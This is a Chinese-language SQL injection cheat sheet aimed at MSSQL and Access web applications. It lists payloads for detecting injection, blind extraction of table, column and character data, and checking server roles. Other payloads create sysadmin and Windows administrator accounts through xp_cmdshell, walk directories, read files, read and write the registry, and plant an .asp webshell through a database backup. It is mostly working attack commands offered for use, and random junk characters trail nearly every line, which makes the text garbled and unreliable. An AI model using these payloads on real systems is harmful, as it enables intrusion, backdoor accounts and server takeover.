1.判断是否有注入;and 1=1 ;and 1=2 (3cJ8o>&
2.初步判断是否是mssql ;and user>0 vT/e&8w
)3K# ${p
3.注入参数是字符'and [查询条件] and ''=' .c__<I<G<
wJyrF
4.搜索时没过滤参数的'and [查询条件] and '%25'=' tpu2e*n-|
1 aWzd[i
5.判断数据库系统 _gU:!:}
8Na.H::cZ
;and (select count(*) from sysobjects)>0 mssql <;Q1u,Mc
@Wgd(Ezd
;and (select count(*) from msysobjects)>0 access Lzmdy0!'
H#H@AY3Y
z=mH\!
?*DM|hzOi
6.猜数据库 ;and (select Count(*) from [数据库名])>0 [v47_ 5O
q^!_jMN5
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 O2i7w1t
gJa48 pi
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 #b~B
0:U
-55[3=#
9.(1)猜字段的ascii值(access) Lx%*IE|c
#1Zqq([@
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T_t5Tg~i[N
aQ!QrTua-
(2)猜字段的ascii值(mssql) 7LEB,bU
J)7\k$ D
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 p7{2/mj
pK` 1pfih
10.测试权限结构(mssql) WX"iDz.
r<'ni
G47(LE"2b
!8g419Yg
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- hcn$uyP
?^Gi;d5
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,+w9_Gy2H
w8=&rzr8
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Vn&{yCm3
cp1-eR_&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /80H.|8O
]MD,{T9l\>
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- zM+4<k_dH]
LZ#=Ks
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- pbCj
^
7gWT[
;and 1=(select IS_MEMBER('db_owner'));-- j1zrjhXI
jY;T:C-T
Wd`*<+t]
cNbH:r"Ay
11.添加mssql和系统的帐户 6=cfr; BH2
k8KRVXgx
;exec master.dbo.sp_addlogin username;-- )Ehi8
;exec master.dbo.sp_password null,username,password;-- LN z
./]xn
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Q};n%&n&
&9Y ^/W
;exec master.dbo.xp_cmdshell 'net user username password <`$svM
mpr_AL!ZO~
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- epicY
}b5omHUE%
;exec master.dbo.xp_cmdshell 'net user username password /add';-- y^!>'cdV
YD3jP}Ym
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- yj$$k~@
GB%kxtGD;\
,NO2{Ha$
n;@.eC,T/
12.(1)遍历目录 oACbZ#/@n
6|mHu2qXm
;create table dirs(paths varchar(100), id int) sLKk1A
,`Keqfx
;insert dirs exec master.dbo.xp_dirtree 'c:\' L<XAvg
?^whK<"]
;and (select top 1 paths from dirs)>0 ,?>{M
NX[-Y]t
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ]OSq}ul
>jU25"XI[
0g2?
Iuyq!R4:7
(2)遍历目录 ZUyS+60
m?<^b_a}
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ~8 B]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 f+cN'jH
E
3"BSP3/[l
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ~'V&[]nh8
0OXl`V`w
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 A"e4w?
+>&i]x(b
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 oF0DprP@
hW!2C6
$:?Dyu(Il
rp
'^]Zx
13.mssql中的存储过程 C669:%
HNRAtRvnY
xp_regenumvalues 注册表根键, 子键 |.4>#<$__
Vp7d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 MY60%
eRqPZb"6MR
xp_regread 根键,子键,键值名 s=e`}4
_Sg "|g
;exec xp_regread gSa !zQN6
{/FdrS
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 D6dliU?k
Z0/$XS9|h;
xp_regwrite 根键,子键, 值名, 值类型, 值 6b7c9n Z
1{ H=The
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 b'ZzDYN
O$n W
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ]xkh"j+W
Pn,>eD*g
xp_regdeletevalue 根键,子键,值名 {Rdh4ZKh
f\rE{%
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;reBJk
!kG |BJ$j
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 naro
}S$OE))u
YV8PybThc
#bJp)&LO
14.mssql的backup创建webshell \@Gcx}Y8h
~,_@|,)
use model BbM/Rd1tAm
1V wcJd
create table cmd(str image);
_!_^B
'yosDT2{#
insert into cmd(str) values (''); Hd\.,2a"
f}~=C2R1<!
backup database model to disk='c:\l.asp'; Q#X'.](1
<O1os"w
V|hwT^h
`W >Sss
15.mssql内置函数 TCFr-*x
(q0vql
;and (select @@version)>0 获得Windows的版本号 \11+~
f|=u{6
;and user_name()='dbo' 判断当前系统的连接用户是不是sa QE8`nMf
m2H?VY.^K
;and (select user_name())>0 爆当前系统的连接用户 g[R4/]K^$
|ZM>UJ
;and (select db_name())>0 得到当前连接的数据库 aX~Jk >a0
V.9p4k`
I94-#*~I
jo?[M
16.简洁的webshell \#PZZH%
YV _ 7 .+A
use model &"?99E>
=it @U/
create table cmd(str image); jXVvVv
L|Xg4Z
insert into cmd(str) values (''); hH9~.4+*`g
eZ$M#I=o
backup database model to disk='g:\wwwtest\l.asp';